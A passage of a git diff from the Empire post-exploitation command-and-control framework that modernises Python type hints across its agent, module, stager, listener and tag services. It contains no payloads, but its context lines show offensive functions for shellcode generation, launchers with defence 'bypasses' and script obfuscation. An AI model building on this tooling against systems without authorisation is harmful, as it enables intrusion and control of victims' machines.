tag_req: TagRequest, db_taggable=Depends(get_taggable), db: Session = Depends(get_db), @@ -89,7 +88,7 @@ async def add_tag( return domain_to_dto_tag(tag) async def update_tag( - uid: Union[int, str], + uid: int | str, tag_req: TagRequest, db_taggable=Depends(get_taggable), db_tag: models.Tag = Depends(get_tag), @@ -100,7 +99,7 @@ async def update_tag( return domain_to_dto_tag(tag) async def delete_tag( - uid: Union[int, str], + uid: int | str, tag_id: int, db_taggable=Depends(get_taggable), db: Session = Depends(get_db), diff --git a/empire/server/api/v2/tag/tag_dto.py b/empire/server/api/v2/tag/tag_dto.py index 9c3efdd8f..2a9b2f962 100644 --- a/empire/server/api/v2/tag/tag_dto.py +++ b/empire/server/api/v2/tag/tag_dto.py @@ -1,5 +1,4 @@ from enum import Enum -from typing import List, Optional from pydantic import BaseModel, constr @@ -26,11 +25,11 @@ class Tag(BaseModel): name: str value: str label: str - color: Optional[str] + color: str | None class Tags(BaseModel): - records: List[Tag] + records: list[Tag] limit: int page: int total_pages: int @@ -40,7 +39,7 @@ class Tags(BaseModel): class TagRequest(BaseModel): name: TagStrNoColon value: TagStrNoColon - color: Optional[str] + color: str | None class TagOrderOptions(str, Enum): diff --git a/empire/server/api/v2/user/user_dto.py b/empire/server/api/v2/user/user_dto.py index cec2d3131..a2a5730b4 100644 --- a/empire/server/api/v2/user/user_dto.py +++ b/empire/server/api/v2/user/user_dto.py @@ -1,5 +1,4 @@ from datetime import datetime -from typing import List, Optional from pydantic import BaseModel @@ -30,13 +29,13 @@ class User(BaseModel): username: str enabled: bool is_admin: bool - avatar: Optional[DownloadDescription] + avatar: DownloadDescription | None created_at: datetime updated_at: datetime class Users(BaseModel): - records: List[User] + records: list[User] class UserPostRequest(BaseModel): diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 38804a059..177ad8a1f 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -43,7 +43,6 @@ import time import warnings from pathlib import Path -from typing import Dict from sqlalchemy import and_, or_ from sqlalchemy.orm import Session @@ -94,7 +93,7 @@ def __init__(self, MainMenu, args=None): # Since each agent logs to a different file, we can have multiple locks to reduce # waiting time when writing to the file. - self.agent_log_locks: Dict[str, threading.Lock] = {} + self.agent_log_locks: dict[str, threading.Lock] = {} # reinitialize any agents that already exist in the database db_agents = self.get_agents_db() diff --git a/empire/server/common/converter/load_covenant.py b/empire/server/common/converter/load_covenant.py index 9ba006475..a83cb9713 100644 --- a/empire/server/common/converter/load_covenant.py +++ b/empire/server/common/converter/load_covenant.py @@ -1,9 +1,7 @@ -from typing import Dict, List - import yaml -def _convert_covenant_to_empire(covenant_dict: Dict, file_path: str): +def _convert_covenant_to_empire(covenant_dict: dict, file_path: str): empire_yaml = { "name": covenant_dict["Name"], "authors": _convert_convenant_authors_to_empire([covenant_dict["Author"]]), @@ -25,7 +23,7 @@ def _convert_covenant_to_empire(covenant_dict: Dict, file_path: str): return empire_yaml -def _convert_convenant_authors_to_empire(covenant_authors: List[Dict]): +def _convert_convenant_authors_to_empire(covenant_authors: list[dict]): empire_authors = [] for author in covenant_authors: empire_authors.append( @@ -39,9 +37,9 @@ def _convert_convenant_authors_to_empire(covenant_authors: List[Dict]): def _convert_covenant_options_to_empire( - covenant_options: List[Dict], - empire_options: List[Dict], - compatible_versions: List[str], + covenant_options: list[dict], + empire_options: list[dict], + compatible_versions: list[str], ): empire_options.append( { diff --git a/empire/server/common/converter/module_converter.py b/empire/server/common/converter/module_converter.py index 45e4f8bf9..27c4b8580 100644 --- a/empire/server/common/converter/module_converter.py +++ b/empire/server/common/converter/module_converter.py @@ -1,7 +1,6 @@ import fnmatch import importlib.util import os -from typing import Dict import yaml @@ -26,7 +25,7 @@ def represent_none(self, _): return self.represent_scalar("tag:yaml.org,2002:null", "") -def format_info(info: Dict) -> Dict: +def format_info(info: dict) -> dict: ordered_dict = {} for old, new in info_keys.items(): @@ -35,7 +34,7 @@ def format_info(info: Dict) -> Dict: return ordered_dict -def format_options(options: Dict) -> Dict: +def format_options(options: dict) -> dict: option_list = [] for key, value in options.items(): @@ -87,7 +86,7 @@ def format_options(options: Dict) -> Dict: spec.loader.exec_module(imp_mod) my_module = imp_mod.Module(None) - info: Dict = format_info(my_module.info) + info: dict = format_info(my_module.info) options = format_options(my_module.options) info.update(options) diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 152944f2f..47edbe19d 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -13,7 +13,6 @@ import time from pathlib import Path from socket import SocketIO -from typing import Optional # Empire imports from empire.server.core import hooks_internal @@ -65,7 +64,7 @@ def __init__(self, args=None): # parse/handle any passed command line arguments self.args = args - self.socketio: Optional[SocketIO] = None + self.socketio: SocketIO | None = None self.agents = agents.Agents(self, args=args) self.credentials = credentials.Credentials(self, args=args) diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index 4188defc9..cfd097b9a 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -341,7 +341,7 @@ def generate_dynamic_powershell_script(script, function_names): "struct", ] - if type(function_names) is not list: + if not isinstance(function_names, list): function_names = [function_names] # build a mapping of functionNames -> stripped function code diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index 6d5cb2bb2..6430a6f65 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -21,7 +21,6 @@ import subprocess import zipfile from itertools import cycle -from typing import Optional, Tuple try: import donut @@ -184,7 +183,7 @@ def generate_powershell_exe( def generate_powershell_shellcode( self, posh_code, arch="both", dot_net_version="net40" - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: """ Generate powershell shellcode using donut python module """ @@ -281,7 +280,7 @@ def generate_python_exe( def generate_python_shellcode( self, posh_code, arch="both", dot_net_version="net40" - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: """ Generate ironpython shellcode using donut python module """ @@ -519,7 +518,7 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): shutil.copy2(icon, tmpdir + "Contents/Resources/" + iconfile + ".icns") else: iconfile = icon - appPlist = """ + appPlist = f""" @@ -528,15 +527,15 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): CFBundleDevelopmentRegion en CFBundleExecutable - {} + {AppName} CFBundleIconFile - {} + {iconfile} CFBundleIdentifier - com.apple.{} + com.apple.{AppName} CFBundleInfoDictionaryVersion 6.0 CFBundleName - {} + {AppName} CFBundlePackageType APPL CFBundleShortVersionString @@ -577,12 +576,7 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): NSApplication -""".format( - AppName, - iconfile, - AppName, - AppName, - ) +""" with open(tmpdir + "Contents/Info.plist", "w") as f: f.write(appPlist) diff --git a/empire/server/core/agent_file_service.py b/empire/server/core/agent_file_service.py index 82e3a7c25..47084d5f6 100644 --- a/empire/server/core/agent_file_service.py +++ b/empire/server/core/agent_file_service.py @@ -1,5 +1,3 @@ -from typing import List, Optional, Tuple - from sqlalchemy import and_ from sqlalchemy.orm import Session @@ -13,7 +11,7 @@ def __init__(self, main_menu): @staticmethod def get_file( db: Session, agent_id: str, uid: int - ) -> Optional[Tuple[models.AgentFile, List[models.AgentFile]]]: + ) -> tuple[models.AgentFile, list[models.AgentFile]] | None: found = ( db.query(models.AgentFile) .filter( @@ -43,7 +41,7 @@ def get_file( @staticmethod def get_file_by_path( db: Session, agent_id: str, path: str - ) -> Optional[Tuple[models.AgentFile, List[models.AgentFile]]]: + ) -> tuple[models.AgentFile, list[models.AgentFile]] | None: found = ( db.query(models.AgentFile) .filter( diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py index 3ae958091..f113bad35 100644 --- a/empire/server/core/agent_service.py +++ b/empire/server/core/agent_service.py @@ -1,7 +1,6 @@ import logging import queue from datetime import datetime, timezone -from typing import List, Optional from sqlalchemy import and_, func from sqlalchemy.orm import Session @@ -65,11 +64,11 @@ def update_agent(self, db: Session, db_agent: models.Agent, agent_req): @staticmethod def get_agent_checkins( db: Session, - agents: List[str] = None, + agents: list[str] = None, limit: int = -1, offset: int = 0, - start_date: Optional[datetime] = None, - end_date: Optional[datetime] = None, + start_date: datetime | None = None, + end_date: datetime | None = None, order_direction: OrderDirection = OrderDirection.desc, ): query = db.query( @@ -104,9 +103,9 @@ def get_agent_checkins( @staticmethod def get_agent_checkins_aggregate( db: Session, - agents: List[str] = None, - start_date: Optional[datetime] = None, - end_date: Optional[datetime] = None, + agents: list[str] = None, + start_date: datetime | None = None, + end_date: datetime | None = None, bucket_size: AggregateBucket = None, ): """ diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index 058715661..db044bc01 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -5,7 +5,6 @@ from collections import defaultdict from datetime import datetime from pathlib import Path -from typing import Dict, List, Optional, Tuple from pydantic import BaseModel from sqlalchemy import and_, func, or_ @@ -42,19 +41,19 @@ def __init__(self, main_menu): @staticmethod def get_tasks( db: Session, - agents: List[str] = None, - users: List[int] = None, - tags: List[str] = None, + agents: list[str] = None, + users: list[int] = None, + tags: list[str] = None, limit: int = -1, offset: int = 0, include_full_input: bool = False, include_original_output: bool = False, include_output: bool = True, - since: Optional[datetime] = None, + since: datetime | None = None, order_by: AgentTaskOrderOptions = AgentTaskOrderOptions.id, order_direction: OrderDirection = OrderDirection.desc, - status: Optional[AgentTaskStatus] = None, - q: Optional[str] = None, + status: AgentTaskStatus | None = None, + q: str | None = None, ): query = db.query( models.AgentTask, func.count(models.AgentTask.id).over().label("total") @@ -343,7 +342,7 @@ def create_task_directory_list( return self.add_task(db, agent, "TASK_DIR_LIST", path, user_id=user_id) def create_task_proxy_list( - self, db: Session, agent: models.Agent, body: Dict, user_id: int + self, db: Session, agent: models.Agent, body: dict, user_id: int ): agent.proxies = body return self.add_task( @@ -360,11 +359,11 @@ class TemporaryTask(BaseModel): agent_id: str task_name: str input_full: str - module_name: Optional[str] + module_name: str | None def add_temporary_task( self, agent_id: str, task_name, task_input="", module_name: str = None - ) -> Tuple[Optional[TemporaryTask], Optional[str]]: + ) -> tuple[TemporaryTask | None, str | None]: """ Add a temporary task for the agent to execute. These tasks are not saved in the database, since they don't provide any value to end users and can be very write-heavy. @@ -387,7 +386,7 @@ def add_task( task_input="", module_name: str = None, user_id: int = 0, - ) -> Tuple[Optional[models.AgentTask], Optional[str]]: + ) -> tuple[models.AgentTask | None, str | None]: """ Task an agent. Adapted from agents.py """ diff --git a/empire/server/core/config.py b/empire/server/core/config.py index ce50e6b15..764b6a934 100644 --- a/empire/server/core/config.py +++ b/empire/server/core/config.py @@ -1,6 +1,5 @@ import logging import sys -from typing import Dict, List import yaml from pydantic import BaseModel, Extra, Field @@ -27,8 +26,8 @@ class DatabaseDefaultsConfig(BaseModel): staging_key: str = "RANDOM" username: str = "empireadmin" password: str = "password123" - obfuscation: List[DatabaseDefaultObfuscationConfig] = [] - keyword_obfuscation: List[str] = [] + obfuscation: list[DatabaseDefaultObfuscationConfig] = [] + keyword_obfuscation: list[str] = [] ip_whitelist: str = Field("", alias="ip-whitelist") ip_blacklist: str = Field("", alias="ip-blacklist") @@ -81,12 +80,12 @@ class EmpireConfig(BaseModel): ) starkiller: StarkillerConfig database: DatabaseConfig - plugins: Dict[str, Dict[str, str]] = {} + plugins: dict[str, dict[str, str]] = {} directories: DirectoriesConfig logging: LoggingConfig debug: DebugConfig - def __init__(self, config_dict: Dict): + def __init__(self, config_dict: dict): super().__init__(**config_dict) # For backwards compatibility self.yaml = config_dict diff --git a/empire/server/core/db/models.py b/empire/server/core/db/models.py index 4bc272a9a..b27bedf44 100644 --- a/empire/server/core/db/models.py +++ b/empire/server/core/db/models.py @@ -1,7 +1,6 @@ import base64 import enum import os -from typing import List from sqlalchemy import ( JSON, @@ -214,7 +213,7 @@ class Agent(Base): session_key = Column(String(255)) nonce = Column(String(255)) firstseen_time = Column(UtcDateTime, default=utcnow()) - checkins: Mapped[List[AgentCheckIn]] = relationship( + checkins: Mapped[list[AgentCheckIn]] = relationship( "AgentCheckIn", order_by="desc(AgentCheckIn.checkin_time)", lazy="dynamic", diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py index b582b3fa1..3f66d74b6 100644 --- a/empire/server/core/download_service.py +++ b/empire/server/core/download_service.py @@ -2,7 +2,6 @@ import shutil from operator import and_ from pathlib import Path -from typing import List, Optional, Tuple, Union from fastapi import UploadFile from sqlalchemy import func, or_ @@ -28,14 +27,14 @@ def get_by_id(db: Session, uid: int): @staticmethod def get_all( db: Session, - download_types: Optional[List[DownloadSourceFilter]], - tags: List[str] = None, + download_types: list[DownloadSourceFilter] | None, + tags: list[str] = None, q: str = None, limit: int = -1, offset: int = 0, order_by: DownloadOrderOptions = DownloadOrderOptions.updated_at, order_direction: OrderDirection = OrderDirection.desc, - ) -> Tuple[List[models.Download], int]: + ) -> tuple[list[models.Download], int]: query = db.query( models.Download, func.count(models.Download.id).over().label("total") ) @@ -122,7 +121,7 @@ def create_download_from_text( user: models.User, file: str, filename: str, - subdirectory: Optional[str] = None, + subdirectory: str | None = None, ): """ Upload the file to the downloads directory and save a reference to the db. @@ -144,9 +143,7 @@ def create_download_from_text( return self._save_download(db, filename, location) - def create_download( - self, db: Session, user: models.User, file: Union[UploadFile, Path] - ): + def create_download(self, db: Session, user: models.User, file: UploadFile | Path): """ Upload the file to the downloads directory and save a reference to the db. :param db: diff --git a/empire/server/core/hooks.py b/empire/server/core/hooks.py index 2d05b9212..8855c50d0 100644 --- a/empire/server/core/hooks.py +++ b/empire/server/core/hooks.py @@ -1,6 +1,6 @@ import asyncio import logging -from typing import Callable, Dict +from collections.abc import Callable log = logging.getLogger(__name__) @@ -46,8 +46,8 @@ class Hooks: AFTER_TAG_UPDATED_HOOK = "after_tag_updated_hook" def __init__(self): - self.hooks: Dict[str, Dict[str, Callable]] = {} - self.filters: Dict[str, Dict[str, Callable]] = {} + self.hooks: dict[str, dict[str, Callable]] = {} + self.filters: dict[str, dict[str, Callable]] = {} def register_hook(self, event: str, name: str, hook: Callable): """ diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py index ff54fe04d..4e3e6929f 100644 --- a/empire/server/core/listener_service.py +++ b/empire/server/core/listener_service.py @@ -1,7 +1,7 @@ import copy import hashlib import logging -from typing import Any, Dict, List, Optional, Tuple +from typing import Any from sqlalchemy.orm import Session @@ -31,15 +31,15 @@ def __init__(self, main_menu): self._active_listeners = {} @staticmethod - def get_all(db: Session) -> List[models.Listener]: + def get_all(db: Session) -> list[models.Listener]: return db.query(models.Listener).all() @staticmethod - def get_by_id(db: Session, uid: int) -> Optional[models.Listener]: + def get_by_id(db: Session, uid: int) -> models.Listener | None: return db.query(models.Listener).filter(models.Listener.id == uid).first() @staticmethod - def get_by_name(db: Session, name: str) -> Optional[models.Listener]: + def get_by_name(db: Session, name: str) -> models.Listener | None: return db.query(models.Listener).filter(models.Listener.name == name).first() def get_active_listeners(self): @@ -194,8 +194,8 @@ def _start_listener(self, db: Session, template_instance, template_name): return None, msg def _validate_listener_options( - self, db: Session, template: str, params: Dict - ) -> Tuple[Optional[Any], Optional[str]]: + self, db: Session, template: str, params: dict + ) -> tuple[Any | None, str | None]: """ Validates the new listener's options. Constructs a new "Listener" object. :param template: diff --git a/empire/server/core/listener_template_service.py b/empire/server/core/listener_template_service.py index 691f30586..7450e058b 100644 --- a/empire/server/core/listener_template_service.py +++ b/empire/server/core/listener_template_service.py @@ -2,7 +2,6 @@ import importlib.util import logging import os -from typing import Optional from sqlalchemy.orm import Session @@ -32,7 +31,7 @@ def new_instance(self, template: str): return instance - def get_listener_template(self, name: str) -> Optional[object]: + def get_listener_template(self, name: str) -> object | None: return self._loaded_listener_templates.get(name) def get_listener_templates(self): diff --git a/empire/server/core/module_models.py b/empire/server/core/module_models.py index 3d382eb75..820c15639 100644 --- a/empire/server/core/module_models.py +++ b/empire/server/core/module_models.py @@ -1,5 +1,5 @@ from enum import Enum -from typing import Any, Dict, List, Optional +from typing import Any from pydantic import BaseModel @@ -19,13 +19,13 @@ class EmpireModuleAdvanced(BaseModel): class EmpireModuleOption(BaseModel): name: str - name_in_code: Optional[str] + name_in_code: str | None description: str = "" required: bool = False value: str = "" - suggested_values: List[str] = [] + suggested_values: list[str] = [] strict: bool = False - type: Optional[str] + type: str | None class EmpireModuleAuthor(BaseModel): @@ -37,25 +37,25 @@ class EmpireModuleAuthor(BaseModel): class EmpireModule(BaseModel): id: str name: str - authors: List[EmpireModuleAuthor] = [] + authors: list[EmpireModuleAuthor] = [] description: str = "" software: str = "" - techniques: List[str] = [] - tactics: List[str] = [] + techniques: list[str] = [] + tactics: list[str] = [] background: bool = False - output_extension: Optional[str] = None + output_extension: str | None = None needs_admin: bool = False opsec_safe: bool = False language: LanguageEnum - min_language_version: Optional[str] - comments: List[str] = [] - options: List[EmpireModuleOption] = [] - script: Optional[str] = None - script_path: Optional[str] = None + min_language_version: str | None + comments: list[str] = [] + options: list[EmpireModuleOption] = [] + script: str | None = None + script_path: str | None = None script_end: str = " {{ PARAMS }}" enabled: bool = True advanced: EmpireModuleAdvanced = EmpireModuleAdvanced() - compiler_yaml: Optional[str] + compiler_yaml: str | None def matches(self, query: str, parameter: str = "any") -> bool: query = query.lower() @@ -72,7 +72,7 @@ def matches(self, query: str, parameter: str = "any") -> bool: return match[parameter] @property - def info(self) -> Dict: + def info(self) -> dict: desc = self.dict(include={"name", "authors", "description", "comments"}) desc["options"] = [option.dict() for option in self.options] return desc diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py index 5473c8ecc..17e9416d2 100644 --- a/empire/server/core/module_service.py +++ b/empire/server/core/module_service.py @@ -3,7 +3,6 @@ import logging import os from pathlib import Path -from typing import Dict, List, Optional, Tuple import yaml from packaging.version import parse @@ -54,7 +53,7 @@ def update_module( self.modules.get(module.id).enabled = module_req.enabled def update_modules(self, db: Session, module_req: ModuleBulkUpdateRequest): - db_modules: List[models.Module] = ( + db_modules: list[models.Module] = ( db.query(models.Module) .filter(models.Module.id.in_(module_req.modules)) .all() @@ -71,11 +70,11 @@ def execute_module( db: Session, agent: models.Agent, module_id: str, - params: Dict, + params: dict, ignore_language_version_check: bool = False, ignore_admin_check: bool = False, - modified_input: Optional[str] = None, - ) -> Tuple[Optional[Dict], Optional[str]]: + modified_input: str | None = None, + ) -> tuple[dict | None, str | None]: """ Execute the module. Note this doesn't actually add the task to the queue, it only generates the module data needed for a task to be created. @@ -199,10 +198,10 @@ def _validate_module_params( db: Session, module: EmpireModule, agent: models.Agent, - params: Dict[str, str], + params: dict[str, str], ignore_language_version_check: bool = False, ignore_admin_check: bool = False, - ) -> Tuple[Optional[Dict[str, str]], Optional[str]]: + ) -> tuple[dict[str, str] | None, str | None]: """ Given a module and execution params, validate the input and return back a clean Dict for execution. :param module: EmpireModule @@ -238,9 +237,9 @@ def _generate_script( self, db: Session, module: EmpireModule, - params: Dict, + params: dict, obfuscation_config: models.ObfuscationConfig = None, - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: """ Generate the script to execute :param module: the execution parameters (already validated) @@ -285,9 +284,9 @@ def _generate_script( def _generate_script_python( self, module: EmpireModule, - params: Dict, + params: dict, obfuscaton_config: models.ObfuscationConfig, - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: obfuscate = obfuscaton_config.enabled if module.script_path: @@ -314,9 +313,9 @@ def _generate_script_python( def _generate_script_powershell( self, module: EmpireModule, - params: Dict, + params: dict, obfuscaton_config: models.ObfuscationConfig, - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: obfuscate = obfuscaton_config.enabled obfuscate_command = obfuscaton_config.command @@ -387,9 +386,9 @@ def _generate_script_powershell( def _generate_script_csharp( self, module: EmpireModule, - params: Dict, + params: dict, obfuscation_config: models.ObfuscationConfig, - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: try: compiler = self.main_menu.pluginsv2.get_by_id("csharpserver") if not compiler.status == "ON": @@ -551,7 +550,7 @@ def get_module_script(self, module_id: str): def get_module_source( self, module_name: str, obfuscate: bool = False, obfuscate_command: str = "" - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: """ Get the obfuscated/unobfuscated module source code. """ diff --git a/empire/server/core/plugin_service.py b/empire/server/core/plugin_service.py index 7be4e7983..741aeddad 100644 --- a/empire/server/core/plugin_service.py +++ b/empire/server/core/plugin_service.py @@ -4,7 +4,6 @@ import logging import os from datetime import datetime -from typing import List, Optional, Tuple, Union from sqlalchemy import and_, func, or_ from sqlalchemy.orm import Session, joinedload, undefer @@ -112,8 +111,8 @@ def execute_plugin( db: Session, plugin, plugin_req: PluginExecutePostRequest, - user: Optional[models.User] = None, - ) -> Tuple[Optional[Union[bool, str]], Optional[str]]: + user: models.User | None = None, + ) -> tuple[bool | str | None, str | None]: cleaned_options, err = validate_options( plugin.options, plugin_req.options, db, self.download_service ) @@ -196,18 +195,18 @@ def get_task(self, db: SessionLocal, plugin_id: str, task_id: int): @staticmethod def get_tasks( db: Session, - plugins: List[str] = None, - users: List[int] = None, - tags: List[str] = None, + plugins: list[str] = None, + users: list[int] = None, + tags: list[str] = None, limit: int = -1, offset: int = 0, include_full_input: bool = False, include_output: bool = True, - since: Optional[datetime] = None, + since: datetime | None = None, order_by: PluginTaskOrderOptions = PluginTaskOrderOptions.id, order_direction: OrderDirection = OrderDirection.desc, - status: Optional[AgentTaskStatus] = None, - q: Optional[str] = None, + status: AgentTaskStatus | None = None, + q: str | None = None, ): query = db.query( models.PluginTask, func.count(models.PluginTask.id).over().label("total") diff --git a/empire/server/core/stager_service.py b/empire/server/core/stager_service.py index 0853b96fd..9464d0f5d 100644 --- a/empire/server/core/stager_service.py +++ b/empire/server/core/stager_service.py @@ -2,7 +2,7 @@ import os import uuid from pathlib import Path -from typing import Any, Dict, Optional, Tuple +from typing import Any from sqlalchemy.orm import Session @@ -37,8 +37,8 @@ def get_by_name(db: Session, name: str): return db.query(models.Stager).filter(models.Stager.name == name).first() def validate_stager_options( - self, db: Session, template: str, params: Dict - ) -> Tuple[Optional[Any], Optional[str]]: + self, db: Session, template: str, params: dict + ) -> tuple[Any | None, str | None]: """ Validates the new listener's options. Constructs a new "Listener" object. :param template: diff --git a/empire/server/core/stager_template_service.py b/empire/server/core/stager_template_service.py index 2150c2d79..aab5e011e 100644 --- a/empire/server/core/stager_template_service.py +++ b/empire/server/core/stager_template_service.py @@ -2,7 +2,6 @@ import importlib.util import logging import os -from typing import Optional from sqlalchemy.orm import Session @@ -34,7 +33,7 @@ def new_instance(self, template: str): def get_stager_template( self, name: str - ) -> Optional[object]: # would be nice to have a BaseListener object. + ) -> object | None: # would be nice to have a BaseListener object. return self._loaded_stager_templates.get(name) def get_stager_templates(self): diff --git a/empire/server/core/tag_service.py b/empire/server/core/tag_service.py index 8cda646e4..4f8251fe4 100644 --- a/empire/server/core/tag_service.py +++ b/empire/server/core/tag_service.py @@ -1,5 +1,4 @@ import logging -from typing import List, Optional, Union from sqlalchemy import func, or_ from sqlalchemy.orm import Session @@ -11,6 +10,15 @@ log = logging.getLogger(__name__) +Taggable = ( + models.Listener + | models.Agent + | models.AgentTask + | models.PluginTask + | models.Credential + | models.Download +) + class TagService: def __init__(self, main_menu): @@ -22,7 +30,7 @@ def get_by_id(self, db: Session, tag_id: int): def get_all( self, db: Session, - tag_types: Optional[List[TagSourceFilter]], + tag_types: list[TagSourceFilter] | None, q: str, limit: int = -1, offset: int = 0, @@ -88,14 +96,7 @@ def get_all( def add_tag( self, db: Session, - taggable: Union[ - models.Listener, - models.Agent, - models.AgentTask, - models.PluginTask, - models.Credential, - models.Download, - ], + taggable: Taggable, tag_req, ): tag = models.Tag(name=tag_req.name, value=tag_req.value, color=tag_req.color) @@ -110,14 +111,7 @@ def update_tag( self, db: Session, db_tag: models.Tag, - taggable: Union[ - models.Listener, - models.Agent, - models.AgentTask, - models.PluginTask, - models.Credential, - models.Download, - ], + taggable: Taggable, tag_req, ): db_tag.name = tag_req.name @@ -132,14 +126,7 @@ def update_tag( def delete_tag( self, db: Session, - taggable: Union[ - models.Listener, - models.Agent, - models.AgentTask, - models.PluginTask, - models.Credential, - models.Download, - ], + taggable: Taggable, tag_id: int, ): if tag_id in [tag.id for tag in taggable.tags]: diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index 6df07b8ad..5f02cbf29 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -4,7 +4,6 @@ import os import time from textwrap import dedent -from typing import List, Optional, Tuple import dropbox @@ -143,7 +142,7 @@ def default_response(self): """ return "" - def validate_options(self) -> Tuple[bool, Optional[str]]: + def validate_options(self) -> tuple[bool, str | None]: """ Validate all options for this listener. """ @@ -173,7 +172,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: List[str] = None, + bypasses: list[str] = None, ): """ Generate a basic launcher for the specified listener. diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index 2d223fafa..753507c3f 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -7,7 +7,6 @@ import sys import time from textwrap import dedent -from typing import List, Optional, Tuple from flask import Flask, make_response, render_template, request, send_from_directory from werkzeug.serving import WSGIRequestHandler @@ -188,7 +187,7 @@ def default_response(self): """ return open(f"{self.template_dir }/default.html").read() - def validate_options(self) -> Tuple[bool, Optional[str]]: + def validate_options(self) -> tuple[bool, str | None]: """ Validate all options for this listener. """ @@ -221,7 +220,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: List[str] = None, + bypasses: list[str] = None, ): """ Generate a basic launcher for the specified listener. diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index 88c8955ce..5c2075613 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -6,7 +6,6 @@ import ssl import sys import time -from typing import List, Optional, Tuple from flask import Flask, make_response, request, send_from_directory from werkzeug.serving import WSGIRequestHandler @@ -165,7 +164,7 @@ def default_response(self): """ return open(f"{self.template_dir }/default.html").read() - def validate_options(self) -> Tuple[bool, Optional[str]]: + def validate_options(self) -> tuple[bool, str | None]: """ Validate all options for this listener. """ @@ -198,7 +197,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: List[str] = None, + bypasses: list[str] = None, ): """ Generate a basic launcher for the specified listener. diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index 97b523b1e..b41727dda 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -3,7 +3,6 @@ import os import random from textwrap import dedent -from typing import List, Optional, Tuple from empire.server.common import helpers, templating from empire.server.common.empire import MainMenu @@ -141,7 +140,7 @@ def default_response(self): """ return "" - def validate_options(self) -> Tuple[bool, Optional[str]]: + def validate_options(self) -> tuple[bool, str | None]: """ Validate all options for this listener. """ @@ -165,7 +164,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: List[str] = None, + bypasses: list[str] = None, ): """ Generate a basic launcher for the specified listener. diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index 0a70ae104..c11d3d648 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -4,7 +4,6 @@ import os import random from textwrap import dedent -from typing import List, Optional, Tuple from empire.server.common import encryption, helpers, packets, templating from empire.server.common.empire import MainMenu @@ -99,7 +98,7 @@ def default_response(self): """ return "" - def validate_options(self) -> Tuple[bool, Optional[str]]: + def validate_options(self) -> tuple[bool, str | None]: """ Validate all options for this listener. """ @@ -118,7 +117,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: List[str] = None, + bypasses: list[str] = None, ): """ Generate a basic launcher for the specified listener. diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 60c99b817..3237ce612 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -7,7 +7,6 @@ import sys import time import urllib.parse -from typing import List, Optional, Tuple from flask import Flask, Response, make_response, request from werkzeug.serving import WSGIRequestHandler @@ -163,7 +162,7 @@ def default_response(self): """ return open(f"{self.template_dir }/default.html").read() - def validate_options(self) -> Tuple[bool, Optional[str]]: + def validate_options(self) -> tuple[bool, str | None]: """ Validate all options for this listener. """ @@ -263,7 +262,7 @@ def generate_launcher( safeChecks="", listenerName=None, stager=None, - bypasses: List[str] = None, + bypasses: list[str] = None, ): """ Generate a basic launcher for the specified listener. diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 78ed21636..5010fed85 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -4,7 +4,6 @@ import os import re import time -from typing import List, Optional, Tuple from requests import Request, Session @@ -158,7 +157,7 @@ def __init__(self, mainMenu: MainMenu): def default_response(self): return "" - def validate_options(self) -> Tuple[bool, Optional[str]]: + def validate_options(self) -> tuple[bool, str | None]: self.uris = [ a.strip("/") for a in self.options["DefaultProfile"]["Value"].split("|")[0].split(",") @@ -203,7 +202,7 @@ def generate_launcher( language=None, safeChecks="", listenerName=None, - bypasses: List[str] = None, + bypasses: list[str] = None, ): bypasses = [] if bypasses is None else bypasses diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index 543bf56c6..0022c39ac 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -3,7 